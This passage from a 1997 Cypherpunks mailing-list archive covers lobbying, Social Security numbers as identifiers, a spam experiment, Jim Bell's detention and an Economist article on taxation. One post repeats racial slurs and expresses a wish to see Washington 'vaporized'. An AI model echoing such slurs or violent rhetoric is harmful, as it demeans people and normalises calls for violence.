>net. He has now squandered all of it with the demonstrable cluelessness
>found in the above bit of self-serving emeticism.

Bob actually makes me appear charitable toward Marc!

I agree with Bob that EPIC, CDT, VTW, EFF, CPSR, and the other alphabet
soup players are just plain old lobbyists, pure and simple. Who they are
lobbying _for_ has never been clear to me, despite their public statements
and charters.

Being a rejectionist, I don't see the point of dealing with Congress. The
usual view is that "If you don't get involved, things will be even worse."
I'm not convinced of this. It's often better to not lend them any support,
not lend them any technical expertise, and devote all energies to
undermining and challenging their actions later.

And helping them draft legislation only feeds the process.

I think it was George Carlin who said, "If you think you're part of the
solution, you're part of the problem."



>Tim May has said it here before, but it bears repeating. The way a
>"lobbyist" stays in business is to threaten an otherwise innocent group of
>people with the power of real or imagined legislative coersion. The
>"constituents" then pay extortion to the legislature in the form of
>outright campaign contributions through a political action comittee, or by
>showing up at "voluntary" fundraisers on behalf of collusionary
>legislators, or through soft-dollar labor ("research", for instance) that
....

(good explanation of D.C. politics elided)

Every one of the 535+ Congresscritters has a large staff (dozens? multiple
dozens?), whose purpose is to feed the machine.

As Bob notes, when funds gets low the legislators can threaten legislation.
They may even convince themselves its a good idea. And they have various
other contributors and pressure groups jockeying for laws and favors.

It's all very nearly hopeless.

And the cancer has spread nationwide. Just in my local community there are
half a dozen jurisdictions, several "City Halls," multiple police forces
(overlapping in territory covered), hundreds of new and byzantine rules
every month, more fees, more inspectors, etc. As but one example, we're
drilling a new well to replace our old well....the County wants $1000 to
send a guy out to nod his head and initial our request--and with no
guarantee they'll approve the well. More fees are needed for that. This is
just plain robbery, though pro-government folks would likely say it is some
kind of "pay as you go" reform (as in "We have a 6-story County
Administration Building and 753 people on the payroll to pay for...so why
shouldn't we extort a grand from you to help pay for it?").

There are so many laws it's impossible to know which laws I'm breaking. I
carry a Benchmade AFCK folding knife clipped to my pants pocket. In Santa
Cruz proper the law says that such a knife is considered "concealed" if
clipped so that only the clip shows, whereas in Santa Cruz County, outside
the city limits (though maybe the laws just cancel out inside?) the
interpretation allows knives to be carried in pockets. And in some other
local areas, the clip doesn't have to be visible. (And in some places, a
knife worn "openly" is considered "brandishment.") Further, violations of
these confusing  and often contradictory knife laws are _felonies_, not
misdemeanors (the felony status of knife law violations, where gun
violations are often misdemeanors, is said by experts in rec.knives and in
my gun magazines to come from the time when "niggers and spics" carried
switchblades, concealed knives, dirks, buckle knives, etc., while
"gentlemen" carried derringers and small revolvers for protection...so the
law came down hard on the knife-carrying spics and niggers and the heritage
is with us today.

It's getting to where I need a CD-ROM  and GPS mounted in my truck telling
me: "You are about to cross into the jurisdiction of Burgville, California.
The following items are illegal and must be disposed of or moved to a
locked container: ..."

This explosion of rules, statutes, licenses, laws, regulations, and
limitations is being fed by the multiple City Councils, Boards of
Supervisors, County Commissioners, City Managers, and hordes of burrowcrats
(sic, and sick, too) infesting the multi-story "government" buildings in
every small town and county. Not to mention entire cities devoted to
lawmaking, like Sacramento, Albany, Washington, etc.

The simple question to ask is this: Why do we need several thousand
rule-generating and lobbyist-seeking governments? Why do we need
governments at the neighborhood level, the township level, the city level,
the county level, the state level, and the national level? (And the
meta-national level, with the U.N, World Court, OECD, etc.)

I could comment more on Bob's other points, but I think you all get the
picture.

Things are way out of control. Not because of any intrinsic evilness on the
part of the bureaucrats, but just for purely systemic reasons. This has to
change, and it can't be changed from within....the rules won't allow it.
The  change has to come from outside, probably from some severe jolts
applied to the system.

No, I don't mean blowing up Washington, or even a few buildings. Much as I
might like to see D.C. vaporized, such jolts are not what I am thinking of.

Undermining the institutions of government with strong crypto is one of the
jolts. There are others.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 2 Jun 1997 08:53:21 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03102800afb7ba21be7b@[207.167.93.63]>
Message-ID: <199706020045.TAA07340@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <v03102800afb7ba21be7b@[207.167.93.63]>, on 06/01/97 
   at 04:54 PM, Tim May <tcmay@got.net> said:

>I have no idea why they want a SS number, except perhaps that they see
>every government office demanding it and so they think it is part of the
>ID process. I of course would not give it. One is always free to turn
>down their offer of a 40 cent discount on eggs. Sounds fair to me.

IMHO the request for SS numbers are usally done out of convieniance more
than anything else. This is not to justify it just an explanation why so
many palces request SS numbers.

Anyone that has written database software where unique information is
stored on individules a SS number is quite convienat as everyone has a
unique one. Most employee, payroll, medical, insurance, credit, databases
use SS numbers rather than create individule id #'s. One's SS number has 2
unique qualities that make it perfect for this use: 1 every person has a
unique #, and 2 it never changes. This can not be said for any other
identifiers one may use, names, addresses, DL #'s, ...ect all have the
possiablity to change over time while your SS # is forever. By using SS #
as id #'s makes communication of data between diffrent database all that
much simpler. From personal experiance I can testify that the entier
Medical Insurance system is based on using SS # as identification. I
shudder to think trying to track medical records of patients over a period
of years between different doctors, hospitals, insurance companies without
using them.

I will not go into the privacy issues involved in using SS #'s for id #'s
as I am sure the members of the list are quite familiar with them. I just
wanted to point out that in some industries there is a technical advantage
to having 1 universal id #.

Now with that being said I personally would not shead any tears seeing SS
and SS #'s gone and to never return.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Charset: cp850
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 2 Jun 1997 08:25:24 +0800
To: cypherpunks@algebra.com
Subject: e$: Beltway piglets and other barnyard animals
In-Reply-To: <v03102806afb650b3d40d@[207.167.93.63]>
Message-ID: <v03020922afb728ab90f3@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:05 pm -0400 on 5/31/97, Marc Rotenberg wrote:

> Keep me posted. If legislation is threatening a good technical
> solution, I'll be the first to blow the whistle.

Bunk.

The actual contribution of Mr. Rotenberg and his organization to the cause
of freedom on the net, in this country, and around the world, can be found
precisely in a competant analysis of above bit of semantic nonsense. That
is, it is nil, if not negative.


Given his past outrageous failures, and his persistant attempts to waste
whatever reputation he now has left, remarks like the above finally prove
the trust people had for him and the organizations he has run was
completely misplaced. A reputation, I might add, literally *donated* to him
by thousands of people and companies, who all believed in and trusted him
*personally* to keep the Uncle Sam the Inquisitor out of their lives on the
net. He has now squandered all of it with the demonstrable cluelessness
found in the above bit of self-serving emeticism.

First, he led EFF to ignominious defeat with the digital telephony bill,
and now, like some kind of political gremlin, emerging unscathed after
engineering *that* jumbo-jet plane crash, he starts up EPIC, where he
slipstreams no-brainer ACLU court cases like CDA to stay in the beltway
pelleton. Now, as if to demonstrate once and for all his utter moral and
legislative vacuity on the breakaway, he tries to "legislate" spam out of
existance.

As if such a Carrolesque tactic like criminalizing internet spam was
economically, much less physically possible at all. I'd laugh, if it
weren't the kind of low scientific comedy found in totalitarian
dictatorships the world over. "Scientists" like Lysenko come to mind, as
does Marx, for that matter.


Hell, I'm a congenital Republican myself, and I've lived in quite a few
yellow-dog Democratic towns, including the one where I now live. I love a
good neighborhood political pissing match as much as the next guy. However,
Mr. Rotenberg's cynicism, as betrayed by that remark, goes way beyond the
fine old tradition of American political gamesmanship, and points straight
to the heart of the cesspool that has become public life as we know it
today.

That's because what we have evolved in this country is the ne plus ultra of
legislative sophistry, if not political fraud. (As if *that* phrase wasn't
already redundant...) If the ruling elite in this country was ever crazy
enough to turn the RICO statute on itself, EPIC would be behind bars, along
with Archer Daniels Midland, with the AARP, and all the other beltway
piglets, each of them  poking their little trotters into the eye of the
next one in line, hoping for a governmental sow's teat of their own to suck
on.


Tim May has said it here before, but it bears repeating. The way a
"lobbyist" stays in business is to threaten an otherwise innocent group of
people with the power of real or imagined legislative coersion. The
"constituents" then pay extortion to the legislature in the form of
outright campaign contributions through a political action comittee, or by
showing up at "voluntary" fundraisers on behalf of collusionary
legislators, or through soft-dollar labor ("research", for instance) that
the lobbyist does for "free" on the legislator's behalf. The lobbyist takes
a commission on all this cashflow in the form of his salaries and operating
expenses. If the "constituent" is lucky, the legislation goes away until
more money is required, whereupon the extortion begins anew with more
trumped-up legislative excressance. This would be fine, I suppose, business
is business, except that the principal measure of *any* legislator's
performance (besides, of course, voting his most active supporters as much
largesse from the public trough as possible) is the *quantity* of
legislation he produces. I mean, you can't have a voting record if there's
nothing to vote on. So, the very best any "constituent" caught in this
racheting spiral of extortion can hope for is to slow the pace at which the
legal noose tightens around his neck. The Digital Telephony/CDA flap is a
prime example of this, and Mr. Rotenberg either was charitably an unwitting
dupe in this process, or, if one were to take a cynical turn of mind,
gleeful at its eventual effect on his bottom line.

Eventually, a businessman so afflicted with such parasitism goes out of
business unless he can afford to utterly corrupt the legislator into going
away permanently, which only works until the legislator retires. More
likely, the business simply gives up and begins to operate as a criminal
enterprize. Using the legislature to kill his business competition, maybe.
Cargill and Archer Daniels Midland do this with agricultural commodity
subsidies and hyperregulation, and the largest Florida sugar companies have
this down to a science. Remember what Milton Friedman said: increasing
government regulation only raises the barriers to market entry and thus
only benefits the survivors in the regulated industry -- never the
consumer. Rockefeller held on to his monopoly in oil just by paying the
government to look the other way when he did something other oil companies
were being punished for. Duke did the same thing with tobbacco.

I'll say it here so there's no confusion about the matter: "Anti-Trust" is
just another legislative shell-game, because *no* business monopoly can
exist without government collusion, usually from the legislative branch,
though the executive can always be had for a price as well. Bill Gates went
to Martha's Vinyard before the last election to talk to Comrade Bill, and,
guess what? No more antitrust action. Anyone want to wager on the size of
the contribution, legal or otherwise? Again, the threat of "Anti-trust"
action is just the way that governments tell the monopolies they've
colluded to create that their graft bill is past due.


Anyway, I *would* say that this kind of extortion by government and
lobbyists would probably fall under the RICO statute if it were ever used,
except, of course, the RICO statute itself is, after the constitutional
ammendment which permitted the creation of the Internal Revenue Service,
probably the single largest attack on freedom this country has ever seen.


So, what *can* be done about spam? Easy. Write code, not law. My bet is on
some form of digital postage, myself. $MTP, if you will. But, there's no
way to solve the problem of spam except by writing code, whatever solution
emerges eventually, and that's the crux of even the simplest analysis of
Mr. Rotenberg's statement at the top of this message.


Certainly any attempt by Mr. Rotenberg and his fellow barnyard residents to
impose legislative fantasy on top of the economic and physical reality of
the net is at best delusional Lysenkoism, and, at worst, political
parasitism in it's purest form.

In other words, Mr. Rotenberg, bunk.

Cheers,
Bob Hettinga









-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Hayden" <hayden@krypton.mankato.msus.edu>
Date: Mon, 2 Jun 1997 09:25:58 +0800
To: Fight Censorship Mailing List <CYBERIA-L@LISTSERV.AOL.COM>
Subject: A Spam Experiment
Message-ID: <Pine.ULT.3.95.970601194410.155A-100000@krypton.mankato.msus.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Over the past two weeks I ran a little, completely non-scientific,
experiment to examine the propgation of spam.

First, I created a bogus mailing address that forwarded to my normal
address, allowing me to see the different "to" headers.

I then posted a single "test" message to six usenet newsgroups to act as
catalyst.  These were:
	alt.tv.nypd-blue
	comp.org.eff.talk
	comp.os.ms-windows.apps.utilities.win95
	comp.sys.mac.portables
	misc.legal
	rec.arts.sf.tv

Over the next 72 hours, I received 28 pieces of spam, which I catagorize
as an unsolicited email attempting to sell me a product or service.  

12 of these messages had an address indicating I could respond to have my
name removed from future mailings.  I responded carefully to each address,
but 4 of them bounced as an invalid address, no such domain, or other
problem (no route to host, probably because it was physcially
diconnected).  I also notied that the "reply-to" field had no relationship
with the address to request removal on all 12 of them.

The other 14 pieces of spam were replied to the "Reply-to:" field.  All
were bounced as "no such user" or "no such domain".  One postmaster wrote
with a canned form letter saying their domain had been put in as the
reply-to field unknown to them. 

Over the next 72 hours, I received an additional 49 pieces of spam,
including one that was 850k in size and another that was 421k.

This batch was NOT replied to in any way, although 17 of them did include
an address to reply to request removal.

Since the initial six days, there have been a total of 4 spam messages,
all of them were also ignored.  The last 72 hours have had zero spam.

- ---

I need to do more tests with a new address, but I am curious as to if the
spike in activity during the second 72 hours wasn't caused by the fact
that I replied to messages requesting removal.  While it is possible that
it was caused by slow usenet propogation, it seems to have happened much
slower than propogation usually takes (about 12-18 hours on average in the
states, last I heard.)

This test wasted 3MB of mail space and total of about 75 minutes to
download and reply to (requesting removal).

Not that at no time did this mail address reqest any mail be sent to them.
The only crime committed was to post to usenet.

Just my numbers, FYI.

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Version: 2.6.2
Comment: PGP Signed with PineSign 2.2

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Robert A. Hayden              hayden@krypton.mankato.msus.edu   __
         -=-=-=-=-=-                              -=-=-=-=-=-   \/_
         http://krypton.mankato.msus.edu/~hayden/Welcome.html    \/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Mon, 2 Jun 1997 13:10:32 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Creating a unique ID number for a dollar
In-Reply-To: <v03102801afb7cce12642@[207.167.93.63]>
Message-ID: <199706020337.UAA24856@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Our Fearless Leader Writes:

> This reminds me of a hack I heard about some years back.

> There's a way to generate a number for any person which is unique. It is
> not shared by anyone else on the planet.

> Best of all, this number can be generated without use of a computer,
> without entry of any allegedly random numbers, and without any hashing of
> personal data. It's not necessarily a real short number, certainly not as
> short as an SS number.

> And best of all, the cost is low. Just a dollar, in fact.

> I'll explain later.

Hmmmmm.  How about taking a dollar, appropriating its serial number for
your personal number, and then burning the dollar to prevent reuse. 

Cost, one dollar.  Is burning a dollar a felony?

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Mon, 2 Jun 1997 12:04:29 +0800
To: Tim May <mech@eff.org
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03102800afb7ba21be7b@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970601203427.1603B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


So I just got back home after a pleasant dinner with Marc and a bunch of
other privacy- and crypto-folks on Capitol Hill. That is, it was pleasant
until Marc started yelling about libertarians being "Pod People," or at
least possessing similar critical thinking skills. :) 

Ahem.

I'd like to say I held my own, but I fear I was outnumbered. Besides, Marc
organized the dinner, and "Pod People" is a good line, and even I had to
agree that Steve Forbes is a space alien.

On Sun, 1 Jun 1997, Tim May wrote in response to Robert:
> 
> >Yes, I would support a law that forbids private companies to ask for social
> >security numbers except for tax purposes.
> 
> To put it as politely as I can manage, you have no conception of what it
> means to live in a free, uncoerced society.
> 
> No wonder the EFF is so fucked up.

To the best of my knowledge, EF-Georgia does not speak for the EFF. I
don't know if the EFF would support such a law as Robert describes.
Perhaps Stanton can help out here.

Rather than focus on private collection of SSNs, I'd rather cut them off
at the source. The government shouldn't be issuing them in the first
place. 

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vincent Cate <vince@offshore.com.ai>
Date: Mon, 2 Jun 1997 09:34:03 +0800
To: cypherpunks@toad.com
Subject: Economist: The disappearing taxpayer
Message-ID: <Pine.LNX.3.95.970601210030.2637E-100000@online.offshore.com.ai>
MIME-Version: 1.0
Content-Type: text/plain




Cypherpunks views of the future in mainstream media.  Kind of fun. 
The following is from:

     http://www.economist.com/issue/31-05-97/ld4660row.html

      --  Vince
          http://www.offshore.com.ai/vince/


                              [The Economist]

                         The disappearing taxpayer

"THE art of taxation", advised Louis XIV's treasurer, Jean-Baptiste
Colbert, "consists in so plucking the goose to obtain the largest amount
of feathers, with the least possible amount of hissing." His observation
remains true, except for one big change. Unlike geese, people in the 17th
century did not know how to fly. Now they can. 

     In the coming decades electronic commerce -- combined with the growing
ease with which firms can shift their operations from one part of the world
to another -- will make it ever easier for people to flee countries where
taxes are high, or to evade tax altogether by doing their business in
cyberspace. The hole this will leave behind is already worrying many
governments (see ). Some argue that it is "unfair" for others to lure their
firms away by levying lower taxes, and are pushing for the harmonisation of
taxes. Another new idea is to impose a tax on electronic transactions. But
although governments everywhere will have to start thinking -- and soon --
about how to raise taxes in the newly weightless global economy, both
remedies are flawed.

A question of sovereignty . . .
Those who advocate harmonisation say that the alternative is a "race to the
bottom", as governments sacrifice social spending on the altar of
competitiveness. But different countries have different spending needs and
make different judgments about the proportion of income to devote to
transfers and public services. Indeed -- remember "no taxation without
representation" -- such decisions lie at the heart of modern politics. That
is why even in the EU, a relentless prober of the boundaries of national
sovereignty, proposals to harmonise taxes have made little progress so far.

     A recent proposal from a panel of economists to make up for the tax
losses caused by electronic commerce by introducing a "bit tax" on flows of
electronic information is similarly defective. It is hard to see how a
single country or even a group might impose such a tax without simply
forcing on-line transactions offshore. But in so far as it succeeded, such
a tax might just hamper the adoption of information technology, depriving
people and businesses of its great productivity benefits.

     So if neither of these ideas is any good, why not do nothing? It is
true that the full impact of electronic commerce and globalisation on
governments' taxation powers is still some way off. The fact that tax
levels vary from 60% of GDP in Sweden to 32% in America suggests that even
in a globalising economy governments are still able to make distinctive
fiscal choices. However, every so often a big Swedish company -- Ericsson
most recently -- threatens to decamp because egregious income taxes make it
difficult to recruit skilled employees. America's corporate taxes have
withered to insignificance because of the mobility of firms. At present
these are merely straws in the wind, and hardly new ones, but there is no
doubt which way the wind is blowing.

     Some competition between tax regimes may be a good thing, if it
encourages governments to show more discipline in their tax and spending
policies. But one day globalisation and electronic commerce could make a
sizeable dent in a country's total tax revenues. And these forces have
already made a big impact on the way the burden of taxes falls on a
population. This is what rules out the option of inaction.

 . . . and of equity
Not all firms, workers and products are equally mobile. Entrepreneurs,
scientists, tennis players and film stars may be able to uproot themselves
in search of lower taxes, but the average worker is still unlikely to
become a tax refugee. Although this may reassure governments, it implies
that governments will eventually have to cut taxes on the most mobile
factors of production, notably skilled workers, while taxes on less mobile
unskilled workers will have to rise. Over the past decade or so taxes on
capital have already fallen sharply while those on labour have risen. In
future it will be harder to tax firms or high-earners at high rates because
they are the most mobile. The implication is that unskilled labour will
have to bear a greater burden.

     If they are to mitigate this change while maintaining their tax
revenues, governments need to speed up tax reforms that are needed anyway
to improve economic efficiency. In most countries at present, exemptions
and loopholes distort the allocation of resources. Broadening the tax base
by scrapping exemptions such as mortgage interest relief and zero rates of
VAT on certain goods and services would allow a much lower rate of tax and
therefore reduce the incentive for both tax evasion and migration. Less
complex reporting requirements would reduce another incentive to hide from
the taxman.

     A second needed change is to shift the tax base from income towards
consumption and property, which is both immobile and hard to hide. Even
consumption is becoming more mobile. But a consumption tax would both
remove the present disincentive to save and help to collect taxes from tax
dodgers (even those whose income comes from invisible Internet sales have
to spend it). Having changed so much else in the world economy,
globalisation and information technology will inevitably undermine the way
governments raise taxes. Reforming the tax system to plug the hole is going
to be hard. Not reforming it would be even worse.

  The Economist Home Page   -   Search   -   Contents   -   Next article

   (c) Copyright 1997 The Economist Newspaper Limited. All Rights Reserved





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Mon, 2 Jun 1997 09:58:25 +0800
To: Declan McCullagh <declan@pathfinder.com>
Subject: Bell in Stir
In-Reply-To: <3.0.2.32.19970531125318.00760494@netcom13.netcom.com>
Message-ID: <3.0.2.32.19970601213439.0069a98c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 10:20 AM 6/1/97 -0400, Declan McCullagh wrote:
>The government is trying to persuade the judge that Bell is about to blow
>up a Federal building, or poison water supplies, or something. So far the
>judge has agreed and refused to consent to even bail conditions like house
>arrest and radio bracelet. Bell could very well stay in jail for the
>entirety of his trial.
>

But since the Feds won't be able to move to trial on those charges, they'll 
have to let him out on bail eventually.  "General dangerousness" bullshit only 
works during the preliminary proceedings.  Remember the Jake Baker case.  
Thirty days in stir and then dismissal.  Probably no dismissal for Bell but no 
major charges either.

DCF
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Mon, 2 Jun 1997 10:01:57 +0800
To: cypherpunks@manifold.algebra.com
Subject: Re: Jim Bell Defense fund
In-Reply-To: <199706011641.LAA08290@manifold.algebra.com>
Message-ID: <3.0.2.32.19970601214957.007f3330@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:41 AM 6/1/97 -0500, Igor Chudov @ home wrote:
|I guess everyone has forgotten about Jim Bell, but he is in no less
|need of help than he used to be.
|
|I would like to know how to help him, and suggest to organize his
|legal defense fund.
|
|igor

I suggest this would be an appropriate use for the monies collected last year (?) to fly Dr. Vulvis to address a cypherpunks gathering.

(As I recall, Dr. V. had some doubts about the airworthyness of the airline and so declined.)

Alec





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 2 Jun 1997 10:54:44 +0800
To: cypherpunks@toad.com
Subject: Re: e$: Beltway piglets and other barnyard animals
In-Reply-To: <v03020922afb728ab90f3@[139.167.130.247]>
Message-ID: <v0302092eafb7de64f545@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:05 pm -0400 on 6/1/97, Tim May wrote:


> If you want Marc R. to read your message, you really should cc: him on it.

Actually, I don't give a squalling fuck whether he reads it or not. :-).

Anything said to Piglet won't matter much. That which is said to
cypherpunks, on the other hand, is a different matter entirely.

Cheers,
Bob


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 2 Jun 1997 11:35:00 +0800
To: camcc@abraxis.com (Alec)
Subject: Re: Jim Bell Defense fund
In-Reply-To: <3.0.2.32.19970601214957.007f3330@smtp1.abraxis.com>
Message-ID: <199706020328.WAA02206@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


i am sure that no money was collected, and even more certainly none 
is left.

igor

Alec wrote:
> 
> At 11:41 AM 6/1/97 -0500, Igor Chudov @ home wrote:
> |I guess everyone has forgotten about Jim Bell, but he is in no less
> |need of help than he used to be.
> |
> |I would like to know how to help him, and suggest to organize his
> |legal defense fund.
> |
> |igor
> 
> I suggest this would be an appropriate use for the monies collected last year (?) to fly Dr. Vulvis to address a cypherpunks gathering.
> 
> (As I recall, Dr. V. had some doubts about the airworthyness of the airline and so declined.)
> 
> Alec
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Mon, 2 Jun 1997 12:55:52 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: CyberTects/SSZ status (fwd)
Message-ID: <199706020335.WAA10340@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:
>From ravage@ssz.com Sun Jun  1 22:33:10 1997
From: Jim Choate <ravage@ssz.com>
Message-Id: <199706020333.WAA10315@einstein.ssz.com>
Subject: CyberTects/SSZ status
To: users@einstein.ssz.com
Date: Sun, 1 Jun 1997 22:33:08 -0500 (CDT)
Cc: consulting@einstein.ssz.com, pwright@einstein.ssz.com, toddm@tivoli.com
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Content-Length: 2928      


Hi,

We had our business planning meeting tonite and the following was
dediced:

 *    CyberTects will be no more by the end of the week. In its place
      is a new Commercial Web Service firm called (tadah)..

      The Armadillo Group

      There will be specific instructions in a day or so about where to
      send your payments for outstanding service bills.

 *    Update of service fee's:

      Monthly webpage                                 $25.00

      Customer Server Hosting, monthly               $100.00

      SLIP/PPP, dial-in, monthly                      $20.00

      SLIP/PPP, dedicated, monthly, 1 IP             $100.00

      IP Sets, 10 IP's (initial 1 & 9 more), annual  $100.00
 
      Shell access, w/ other account only             $10.00

      Labor charges, hourly, rounded up               $80.00

      Sales Tax NOT included, 8.25% in Texas

 *    We will be focusing on a limited set of services:

      -  expansion of services provided outside the SOHO sector into
         the general business community.

      -  various flavors of dial-in and dedicated connectivity options
         including a move to ISDN availablity with the increase in our
         primary feed to the Internet.

      -  webpage hosting w/ in-house development as required by the
         customer.

      -  hosting of customers servers in-house providing a level of
         technical support previously available only to large
         firms.

 *    The current Real/Time ISDN contract expires at the end of September.
      At this point we plan to have either a T1 or ADSL in place with
      additional servers.

 *    It looks like the current plan is to NOT have onsite service,
      training, and other services available through CyberTects in the
      past propogate through this change over. There will be a clearer
      mailing later in the week better detailing exactly what will be
      available and what we will be dropping.

      Note: Even if the firm as a whole ceases to host mailing lists
            I will continue to host them using my own resources.

            I will continue to do some onsite service and such on my
            own.

 *    The future of the Elgin site expansion to fully mirror SSZ and
      provide 100% backup may not be implimented because of the drop
      of other services. I have not decided if this will be something
      that I take on personaly if it is dropped.


If you have any further questions or would like to express your views on
these changes, please don't send email to me. Instead send it to
'consulting@ssz.com' so that the whole group may discuss the issues.

Our goal as always is to provide you with professional service & support.


                                                  Jim Choate
                                                  The Armadillo Group
                                                  ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 2 Jun 1997 12:12:27 +0800
To: jonathon <grafolog@netcom.com>
Subject: Re: Creating a unique ID number for a dollar
In-Reply-To: <Pine.SUN.3.95.970602014607.25651C-100000@netcom2>
Message-ID: <199706020349.WAA09406@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.SUN.3.95.970602014607.25651C-100000@netcom2>, on 06/02/97 
   at 02:24 AM, jonathon <grafolog@netcom.com> said:

>On Sun, 1 Jun 1997, Tim May wrote:

>> At 5:25 PM -0700 6/1/97, William H. Geiger III wrote:

>> >stored on individules a SS number is quite convienat as everyone has a
>> >unique one. Most employee, payroll, medical, insurance, credit, databases

>	Somebody here is forgetting that the Social Security
>	Adminstration, back in the mid-eighties claimed that at least
>	10 percent of the numbers in use, were improperly issued.

<sigh> This is really no suprise considering who is issueing the numbers.
:=/

>	The same number was issued to _two or *more*_ people.  The worst
>	case was a number that several thousand people used, thinking it 
>	was issued to them, exclusively, when it was in fact never issued.

This is rarely a problem from a data managemant posistion as SS # are key
fields. Any attempts at adding duplicates produces errors which then have
to be resolved usally manually by human intervention. Rarely are SS #'s
used exclusivly but in combination with other data (name & DOB is usaully
suffecient).

>	A further complication is that the same individual could have been
>	issued two or _more_ different numbers, either by design, or
>	accident.

I doubt that 2 or more SS# would be issued delibratly. The only reason for
multiple SS#'s would either be screw-ups by SSA or by design of the person
applying for the SS#. I imagine that new SS# may be issued in some special
cases such as witeness relocation, perhaps after adoption, but then the
old SS# is not being used so it is not really an issue.

>> >unique qualities that make it perfect for this use: 1 every person has a
>> >unique #, and 2 it never changes. This can not be said for any other
>	
>	Both premises are false, and the SSA has said so on several
>	different occasions.

For all practical purposes it is. with the exception of screw-ups by SSA
ones SS # is unique and with the exception of a few rare cases mentioned
above it never changes. compare this to other identifiers and it is
obviously the most convienient id # available. Atleast 50% of the
population has 1 name change durring the cource of their lifes, Addresses
change numerious times during an average americans lifetime, and DOB's are
not unique enough to be used.

While problems do exsist with using SS#'s as id they are quite small when
compaired to using other less stable data to generate id #'s.

>> without entry of any allegedly random numbers, and without any hashing
>> of personal data. It's not necessarily a real short number, certainly
>> not as short as an SS number. 
>	
>	One proposal I'm familiar with was:
>	date of birth << year month day >>
>	time of birth << hours, minutes, seconds >>
>	longitude of birth  << degrees, minutes, seconds >> 
>	lattitude of birth  << degrees, minutes, seconds >>
>	sex		     << one letter >>
>	mother's initials    << first, middle, last >>
>	father's initials   <<  first, middle, last >>

>	so you'd end up with something like

>	19970601185500-0300000.00-300000.00mxyzwvz

>	<< A number which would be issued to a male born today 
>	somewhere slightly north of Port Shepstone, and slightly west
>	of Pietermaritzburg, RSA. >> 

>	However, there are several problems with it, the two most notable
>	being the lack of accurate birth times, and that most people have
>	a very hard time remembering 42 digit numbers.

>	I don't know how solvable those, and other not so apparant
>	problems are, but I suspect that it has been intensively
>	studied by more than a few governments and organizations, since
>	it was first proposed, fifty something years ago. 

Really much to complex to be of use not to mention the lack of reliable
data to form the id #.

The use of DOB + Geographic Identifier + Unique Code would work quite
well.

19970601 - DOB.
0123     - Sample Geographic Identifier (say NY City).
0142     - Unique Code added to handle collisions of the above two.

I beleive that this is very simmilar to what the SSA uses though I beleive
